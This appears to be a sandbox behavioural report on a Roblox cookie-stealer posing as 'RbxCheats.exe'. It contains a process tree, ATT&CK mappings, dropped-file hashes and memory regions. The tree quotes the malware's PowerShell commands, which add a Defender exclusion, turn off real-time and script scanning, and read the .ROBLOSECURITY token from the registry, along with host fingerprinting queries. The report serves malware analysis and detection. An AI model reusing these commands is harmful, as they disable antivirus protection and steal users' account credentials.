- Suspicious use of WriteProcessMemory
PID:2556
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\RbxCheats.exe'
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2684
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4464
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3732
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3568
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2384
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1600
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  PID:3972
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:3700
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:408

C:\Windows\system32\taskmgr.exe
"C:\Windows\system32\taskmgr.exe" /4
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:1956

C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE
"C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE" /s "C:\Users\Admin\Desktop\TestPush.ppsm" /ou ""
1⤵
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:1688

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument C:\Users\Admin\Desktop\CloseInstall.htm
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:2168
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x11c,0x120,0x124,0xf8,0x128,0x7fff8b0f46f8,0x7fff8b0f4708,0x7fff8b0f4718
  2⤵
  PID:1476
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2140,13065289554254108775,13102777763196261477,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2156 /prefetch:2
  2⤵
  PID:5024
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2140,13065289554254108775,13102777763196261477,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2256 /prefetch:3
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:1596
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2140,13065289554254108775,13102777763196261477,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2984 /prefetch:8
  2⤵
  PID:3824
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2140,13065289554254108775,13102777763196261477,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3508 /prefetch:1
  2⤵
  PID:1868
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2140,13065289554254108775,13102777763196261477,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3376 /prefetch:1
  2⤵
  PID:412

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:2044

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:4908

C:\Program Files (x86)\Windows Media Player\wmplayer.exe
"C:\Program Files (x86)\Windows Media Player\wmplayer.exe" /Play -Embedding
1⤵
PID:4476
- C:\Program Files (x86)\Windows Media Player\setup_wm.exe
  "C:\Program Files (x86)\Windows Media Player\setup_wm.exe" /RunOnce:"C:\Program Files (x86)\Windows Media Player\wmplayer.exe" /Play -Embedding
  2⤵
  PID:3908
- - C:\Windows\SysWOW64\unregmp2.exe
    C:\Windows\system32\unregmp2.exe /ShowWMP /SetShowState /CreateMediaLibrary
    3⤵
    PID:3724
  - - C:\Windows\system32\unregmp2.exe
      "C:\Windows\SysNative\unregmp2.exe" /ShowWMP /SetShowState /CreateMediaLibrary /REENTRANT
      4⤵
      Modifies Installed Components in the registry
      Drops desktop.ini file(s)
      Drops file in Program Files directory
      Modifies registry class
      PID:2044
- - C:\Program Files (x86)\Windows Media Player\wmplayer.exe
    "C:\Program Files (x86)\Windows Media Player\wmplayer.exe" /Relaunch /Play C:\Users\Admin\Desktop\DisableJoin.midi
    3⤵
    - Enumerates connected drives
    PID:2484
- C:\Windows\SysWOW64\unregmp2.exe
  "C:\Windows\System32\unregmp2.exe" /AsyncFirstLogon
  2⤵
  PID:1828
- - C:\Windows\system32\unregmp2.exe
    "C:\Windows\SysNative\unregmp2.exe" /AsyncFirstLogon /REENTRANT
    3⤵
    - Enumerates connected drives
    PID:2268

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s upnphost
1⤵
- Drops file in Windows directory
PID:5092

C:\Windows\system32\narrator.exe
"C:\Windows\system32\narrator.exe"
1⤵
- Suspicious use of SetWindowsHookEx
PID:5104

C:\Windows\system32\AUDIODG.EXE
C:\Windows\system32\AUDIODG.EXE 0x408 0x42c
1⤵
PID:4764

C:\Windows\SystemApps\microsoft.windows.narratorquickstart_8wekyb3d8bbwe\NarratorQuickStart.exe
"C:\Windows\SystemApps\microsoft.windows.narratorquickstart_8wekyb3d8bbwe\NarratorQuickStart.exe" -ServerName:App.AppX2nbh7wcbt82z2dktjrtwk4f36gf9xxh2.mca
1⤵
PID:4660

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\q0Rrs.scr

Filesize
217KB

MD5
84fe5aaf9d71e59205c851af53d6a1c7

SHA1
1b93e136c567dce28cccd900a02b694d9f488d86

SHA256
81046d6d4e474115dd898d8e4718bc2ba144928461baa26e23f26d73d8e3f2f7

SHA512
db3bfcbccd1b6e22754fd40841f2b2f0d229852879ab1c10e214d8185e5c29f8a8d3e318182c80a2887cf77f7e59aa3e95088b2901eb96720afd9e4f7d775a2d

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
70e2e6954b953053c0c4f3b6e6ad9330

SHA1
cb61ba67b3bffa1d833bb85cc9547669ec46f62f

SHA256
f6e770a3b88ad3fda592419b6c00553bdadc50d5fb466ef872271389977f2ab4

SHA512
eeacb0e62f68f56285f7605963ca9bb82f542d4e2ccc323266c08c9990cecdebd574e1ab304ae08ea8c6c94c50683180f83562f972e92799ebbcfcd8f503fb5a

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State

Filesize
111B

MD5
285252a2f6327d41eab203dc2f402c67

SHA1
acedb7ba5fbc3ce914a8bf386a6f72ca7baa33c6

SHA256
5dfc321417fc31359f23320ea68014ebfd793c5bbed55f77dab4180bbd4a2026

SHA512
11ce7cb484fee66894e63c31db0d6b7ef66ad0327d4e7e2eb85f3bcc2e836a3a522c68d681e84542e471e54f765e091efe1ee4065641b0299b15613eb32dcc0d

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
5KB

MD5
49a2f50bf090200d287e1f288b30c29a

SHA1
06734f5afb407887c45290462f190c9add5e0894

SHA256
ca0dfc54109df4a3829bf20b8a01e12d632460b383bef9d17b5afdada4111529

SHA512
0e0c3a41a028853145131b4bb3e9c6a41a793faeeaa20d4d1116c2ea2966357c2cab5fbf7bc6446187d852cd899975eff3444675be6712c34b689b73c0b2f2b6

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences

Filesize
24KB

MD5
2ea205e670df9f3f5a53b26effa6fb26

SHA1
ce8b24804d75d7affdb5087a8533f920e1a9f023

SHA256
d49fe163cd8dd1fcef9c481cbe6fc22a563cdd45e090a23929073cde9b91a49e

SHA512
0d2eaa9dc3c88568fc0bd4750465473ffe87933341dd1c7e41ac1fa71969640251cc4a82393fa7120617f0f09c68debf9c7e25fc678a0e6a55ae6c9664b3ed5c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\bac3826d-b3d7-40bc-9722-1e2034e481bc.tmp

Filesize
6KB

MD5
86d6f88875b031e31f9841dbbc58bf9d

SHA1
40c1cfcb4ec03d747632fa2ed70f43641d8fa7fd

SHA256
da0d4f2b8f4c29eb617de68207912699ec174cbcda1fde03b3041529db11364b

SHA512
d96d0aaf596da076221dd6316743d726933b4a1abbb0a941ebccdcbd5c02bd5ffb2d78a07e53b0de40c363de7b3a556b72c94d712aba3d549176d90f00bd459a

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
12KB

MD5
e1148f102410ab75107f5e7adaa81b15

SHA1
1781fdf4e4ec095da65f30c58d87632244bc8532

SHA256
443e0940d1e9dcfce89ab654957c1a0dac2e8e4bf0826043b93be5523e66947a

SHA512
76a16ae5d117309cec694daa67afe1c18b49a9db530033618f3ba86e3ab96f378e9d4e02ef3da7e6aadf671c5ebd1a762adf49bd691fa759c493b4b28e381ee4

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Media Player\CurrentDatabase_400.wmdb

Filesize
256KB

MD5
9c481a94abc7eee23cd5234262e60077

SHA1
2873225e708fb5461ac60c3613fe12112423f0f0

SHA256
681c9665d741ca6ed709cdd79d070ff7f4fdf158e02342f7d47e90a6d962b061

SHA512
0579499b5f01649f7e5e3afad07b4c7924d30fbc56dd12b37d9ad46bdefe35fcb6371694c1eff6c42d56c21b1de4c4f40531b27cd32eca1bdf51c6cac41fe668

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Media Player\CurrentDatabase_400.wmdb

Filesize
1024KB

MD5
6af7616ce5a68e2cabcccbc97cbe9458

SHA1
c02d969faaeda9435a99c4d50c30112babbbf6e7

SHA256
417ac1a7344bd7f5bbae71055c13bc01ffd747439f32ffe7aa4dc132b770dcc1

SHA512
54fd9d4b44994ed6dedc73e7e81d9f08417905089dc0c272e0a7804b0967bdf421cf77b79daf6856d7a17d905000d5457caa23adf9c041b45e32192dab0b8bde

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows Media\12.0\WMSDKNS.XML

Filesize
9KB

MD5
7050d5ae8acfbe560fa11073fef8185d

SHA1
5bc38e77ff06785fe0aec5a345c4ccd15752560e

SHA256
cb87767c4a384c24e4a0f88455f59101b1ae7b4fb8de8a5adb4136c5f7ee545b

SHA512
a7a295ac8921bb3dde58d4bcde9372ed59def61d4b7699057274960fa8c1d1a1daff834a93f7a0698e9e5c16db43af05e9fd2d6d7c9232f7d26ffcff5fc5900b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
d28a889fd956d5cb3accfbaf1143eb6f

SHA1
157ba54b365341f8ff06707d996b3635da8446f7

SHA256
21e5d7ccf80a293e6ba30ed728846ca19c929c52b96e2c8d34e27cd2234f1d45

SHA512
0b6d88deb9be85722e6a78d5886d49f2caf407a59e128d2b4ed74c1356f9928c40048a62731959f2460e9ff9d9feee311043d2a37abe3bb92c2b76a44281478c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
948B

MD5
519bd02065247010c80f54ba38949af4

SHA1
41624603a762c5bc0ee00d7ac6e9087aece8211f

SHA256
f2ef4ec79c2be47133ea1ba82de913f3b1c9972673f4a148129c7913a018ad53

SHA512
cb6f9a773ce15c29fa0afd7baf559abdfe6a47ea16c130d47b95b35dd33b0e0382db5cc8bcdf2951af6b4145f383316d54daae89d7be80f16d221e15ce4f4778

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
276798eeb29a49dc6e199768bc9c2e71

SHA1
5fdc8ccb897ac2df7476fbb07517aca5b7a6205b

SHA256
cd0a1056e8f1b6cb5cb328532239d802f4e2aa8f8fcdc0fcb487684bd68e0dcc

SHA512
0d34fce64bbefc57d64fa6e03ca886952263d5f24df9c1c4cce6a1e8f5a47a9a21e9820f8d38caa7f7b43a52336ce00b738ea18419aaa7c788b72e04ce19e4f2

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
8c80eecf018cc3ed8594a94d73908908

SHA1
48afc4c359c3e31fded051a54d08158bf4405b0c

SHA256
96c81c4893d8e3432198fe5f23f23115fc38d07ba15bee2a027181e5d3ae26a3

SHA512
56e834ac27e5399dde0b50fa00e6a6ba31145db15e3433c4915d5ef6ca4225d18f8caf2d0c564abc8c5d28a54fc177c0b077375c894ed1224ead3a81e8cf461a

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_3grd3cm5.ktf.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\wmsetup.log

Filesize
1KB

MD5
858716ad509c3459aff21c9f752ebdfb

SHA1
9ff93364f707c86f2e22c5bbb14d9124ccbeb510

SHA256
9cca7f9e14aa26f6d3eb84df5a16014509af1ac009b05379576f238f80579820

SHA512
0150378a1671ea28a8a0f34858904733f6b4e839500cfc963d884be5adcf681323c6506e61612bbbb274d3db804b1bc419ed9ef6a2fa48fec7ed8e66c1d4696d

Download Submit
C:\Users\Admin\AppData\Local\Temp\wmsetup.log

Filesize
2KB

MD5
2cd39bc1dbb37f50d42ce603ebe0b530

SHA1
6fa4668f9af5f993de043bc8382126e2e367a050

SHA256
5d027e3bb003d3e9fe1201a29eaa9b5e451bec1c1fb40b4a6d4bfbd0356de01f

SHA512
3c4197342802df37bfeb2e24fcfb281944bddeb99c46c542ecfdb6e202d8fc1fc81dda4a5c9351309ba8c9d12f8195846c3020d6964d81a77f0ad62620facb93

Download Submit
C:\Users\Admin\AppData\Local\speech\Microsoft\Speech\Files\UserLexicons\SP_338594D1BA054893932655B85FC4C6CF.dat

Filesize
940B

MD5
ac658771f405db0bcaaad018b5e53752

SHA1
c0cc87454dd5e6e802f4dfba3b2f39ac36089e01

SHA256
0eef70d9bbcf540d6c808a894be5d26513f8deba3b45f29c53e119fda3bcbc08

SHA512
78bf5340098eeb727ddd1d90e54d4fe2b2fb52e4c1eeb34be0f9c0d9928e5fed80055c1e1c8f4f57f40f974c04ac60d5da28fdd2251a4032dd35b21bf8ede7e9

Download Submit
memory/1688-290-0x00007FFF68D70000-0x00007FFF68D80000-memory.dmp

Filesize
64KB

Download
memory/1688-287-0x00007FFF68D70000-0x00007FFF68D80000-memory.dmp

Filesize
64KB

Download
memory/1688-274-0x00007FFF66CB0000-0x00007FFF66CC0000-memory.dmp

Filesize
64KB

Download
memory/1688-273-0x00007FFF66CB0000-0x00007FFF66CC0000-memory.dmp

Filesize
64KB

Download
memory/1688-272-0x00007FFFA8CF0000-0x00007FFFA8EE5000-memory.dmp

Filesize
2.0MB

Download
memory/1688-270-0x00007FFF68D70000-0x00007FFF68D80000-memory.dmp

Filesize
64KB

Download
memory/1688-288-0x00007FFF68D70000-0x00007FFF68D80000-memory.dmp

Filesize
64KB

Download
memory/1688-271-0x00007FFFA8CF0000-0x00007FFFA8EE5000-memory.dmp

Filesize
2.0MB

Download
memory/1688-264-0x00007FFF68D70000-0x00007FFF68D80000-memory.dmp

Filesize
64KB

Download
memory/1688-265-0x00007FFFA8CF0000-0x00007FFFA8EE5000-memory.dmp

Filesize
2.0MB

Download
memory/1688-269-0x00007FFFA8CF0000-0x00007FFFA8EE5000-memory.dmp

Filesize
2.0MB

Download
memory/1688-267-0x00007FFF68D70000-0x00007FFF68D80000-memory.dmp

Filesize
64KB

Download
memory/1688-289-0x00007FFF68D70000-0x00007FFF68D80000-memory.dmp

Filesize
64KB

Download
memory/1688-268-0x00007FFFA8CF0000-0x00007FFFA8EE5000-memory.dmp

Filesize
2.0MB

Download
memory/1688-266-0x00007FFF68D70000-0x00007FFF68D80000-memory.dmp

Filesize
64KB

Download
memory/1688-263-0x00007FFFA8CF0000-0x00007FFFA8EE5000-memory.dmp

Filesize
2.0MB

Download
memory/1688-262-0x00007FFFA8CF0000-0x00007FFFA8EE5000-memory.dmp

Filesize
2.0MB

Download
memory/1688-261-0x00007FFF68D70000-0x00007FFF68D80000-memory.dmp

Filesize
64KB

Download
memory/1688-291-0x00007FFFA8CF0000-0x00007FFFA8EE5000-memory.dmp

Filesize
2.0MB

Download
memory/1956-254-0x000001A0D3F50000-0x000001A0D3F51000-memory.dmp

Filesize
4KB

Download
memory/1956-253-0x000001A0D3F50000-0x000001A0D3F51000-memory.dmp

Filesize
4KB

Download
memory/1956-259-0x000001A0D3F50000-0x000001A0D3F51000-memory.dmp

Filesize
4KB

Download
memory/1956-258-0x000001A0D3F50000-0x000001A0D3F51000-memory.dmp

Filesize
4KB

Download
memory/1956-255-0x000001A0D3F50000-0x000001A0D3F51000-memory.dmp

Filesize
4KB

Download
memory/1956-247-0x000001A0D3F50000-0x000001A0D3F51000-memory.dmp

Filesize
4KB

Download
memory/1956-248-0x000001A0D3F50000-0x000001A0D3F51000-memory.dmp

Filesize
4KB

Download
memory/1956-249-0x000001A0D3F50000-0x000001A0D3F51000-memory.dmp

Filesize
4KB

Download
memory/1956-257-0x000001A0D3F50000-0x000001A0D3F51000-memory.dmp

Filesize
4KB

Download
memory/1956-256-0x000001A0D3F50000-0x000001A0D3F51000-memory.dmp

Filesize
4KB

Download
memory/2484-454-0x0000000007D70000-0x0000000007D80000-memory.dmp

Filesize
64KB

Download
memory/2484-452-0x0000000007D70000-0x0000000007D80000-memory.dmp

Filesize
64KB

Download
memory/2484-455-0x0000000007D70000-0x0000000007D80000-memory.dmp

Filesize
64KB

Download
memory/2484-439-0x0000000007D70000-0x0000000007D80000-memory.dmp

Filesize
64KB

Download
memory/2484-459-0x0000000007E00000-0x0000000007E10000-memory.dmp

Filesize
64KB

Download
memory/2484-453-0x0000000007D70000-0x0000000007D80000-memory.dmp

Filesize
64KB

Download
memory/2484-449-0x0000000007D70000-0x0000000007D80000-memory.dmp

Filesize
64KB

Download
memory/2484-451-0x0000000007E00000-0x0000000007E10000-memory.dmp

Filesize
64KB

Download
memory/2484-450-0x0000000007D70000-0x0000000007D80000-memory.dmp

Filesize
64KB

Download
memory/2484-447-0x0000000007D70000-0x0000000007D80000-memory.dmp

Filesize
64KB

Download
memory/2484-445-0x0000000007D70000-0x0000000007D80000-memory.dmp

Filesize
64KB

Download
memory/2484-443-0x0000000007D70000-0x0000000007D80000-memory.dmp

Filesize
64KB

Download
memory/2484-440-0x0000000007D70000-0x0000000007D80000-memory.dmp

Filesize
64KB

Download
memory/2484-442-0x0000000007D70000-0x0000000007D80000-memory.dmp

Filesize
64KB

Download
memory/2484-441-0x0000000007C30000-0x0000000007C40000-memory.dmp

Filesize
64KB

Download
memory/2556-174-0x00000265E60A0000-0x00000265E6116000-memory.dmp

Filesize
472KB

Download
memory/2556-222-0x00000265CBDC0000-0x00000265CBDCA000-memory.dmp

Filesize
40KB

Download
memory/2556-179-0x00000265E5F90000-0x00000265E5FA0000-memory.dmp

Filesize
64KB

Download
memory/2556-134-0x00007FFF8B230000-0x00007FFF8BCF1000-memory.dmp

Filesize
10.8MB

Download
memory/2556-176-0x00000265CBD90000-0x00000265CBDAE000-memory.dmp

Filesize
120KB

Download
memory/2556-175-0x00000265CD5D0000-0x00000265CD620000-memory.dmp

Filesize
320KB

Download
memory/2556-135-0x00000265E5F90000-0x00000265E5FA0000-memory.dmp

Filesize
64KB

Download
memory/2556-246-0x00007FFF8B230000-0x00007FFF8BCF1000-memory.dmp

Filesize
10.8MB

Download
memory/2556-133-0x00000265CB8D0000-0x00000265CB90C000-memory.dmp

Filesize
240KB

Download
memory/2556-169-0x00007FFF8B230000-0x00007FFF8BCF1000-memory.dmp

Filesize
10.8MB

Download
memory/2556-223-0x00000265CD5A0000-0x00000265CD5B2000-memory.dmp

Filesize
72KB

Download
memory/2684-146-0x00007FFF8B230000-0x00007FFF8BCF1000-memory.dmp

Filesize
10.8MB

Download
memory/2684-147-0x0000023D2EED0000-0x0000023D2EEE0000-memory.dmp

Filesize
64KB

Download
memory/2684-142-0x0000023D16900000-0x0000023D16922000-memory.dmp

Filesize
136KB

Download
memory/2684-153-0x00007FFF8B230000-0x00007FFF8BCF1000-memory.dmp

Filesize
10.8MB

Download
memory/2684-150-0x0000023D2EED0000-0x0000023D2EEE0000-memory.dmp

Filesize
64KB

Download
memory/2684-149-0x0000023D2EED0000-0x0000023D2EEE0000-memory.dmp

Filesize
64KB

Download
memory/2684-148-0x0000023D2EED0000-0x0000023D2EEE0000-memory.dmp

Filesize
64KB

Download
memory/3568-206-0x0000024DCE740000-0x0000024DCE750000-memory.dmp

Filesize
64KB

Download
memory/3568-220-0x00007FFF8B230000-0x00007FFF8BCF1000-memory.dmp

Filesize
10.8MB

Download
memory/3568-218-0x0000024DCE740000-0x0000024DCE750000-memory.dmp

Filesize
64KB

Download
memory/3568-212-0x0000024DCE740000-0x0000024DCE750000-memory.dmp

Filesize
64KB

Download
memory/3568-205-0x00007FFF8B230000-0x00007FFF8BCF1000-memory.dmp

Filesize
10.8MB

Download
memory/3700-241-0x00007FFF8B230000-0x00007FFF8BCF1000-memory.dmp

Filesize
10.8MB

Download
memory/3700-239-0x0000019160C20000-0x0000019160C30000-memory.dmp

Filesize
64KB

Download
memory/3700-227-0x0000019160C20000-0x0000019160C30000-memory.dmp

Filesize
64KB

Download
memory/3700-226-0x00007FFF8B230000-0x00007FFF8BCF1000-memory.dmp

Filesize
10.8MB

Download
memory/3700-228-0x0000019160C20000-0x0000019160C30000-memory.dmp

Filesize
64KB

Download
memory/3732-177-0x00007FFF8B230000-0x00007FFF8BCF1000-memory.dmp

Filesize
10.8MB

Download
memory/3732-190-0x000001B2DD360000-0x000001B2DD370000-memory.dmp

Filesize
64KB

Download
memory/3732-178-0x000001B2DD360000-0x000001B2DD370000-memory.dmp

Filesize
64KB

Download
memory/3732-204-0x00007FFF8B230000-0x00007FFF8BCF1000-memory.dmp

Filesize
10.8MB

Download
memory/4464-168-0x0000022DC3C50000-0x0000022DC3C60000-memory.dmp

Filesize
64KB

Download
memory/4464-172-0x00007FFF8B230000-0x00007FFF8BCF1000-memory.dmp

Filesize
10.8MB

Download
memory/4464-170-0x0000022DC3C50000-0x0000022DC3C60000-memory.dmp

Filesize
64KB

Download
memory/4464-157-0x0000022DC3C50000-0x0000022DC3C60000-memory.dmp

Filesize
64KB

Download
memory/4464-155-0x00007FFF8B230000-0x00007FFF8BCF1000-memory.dmp

Filesize
10.8MB

Download
memory/4464-156-0x0000022DC3C50000-0x0000022DC3C60000-memory.dmp

Filesize
64KB

Download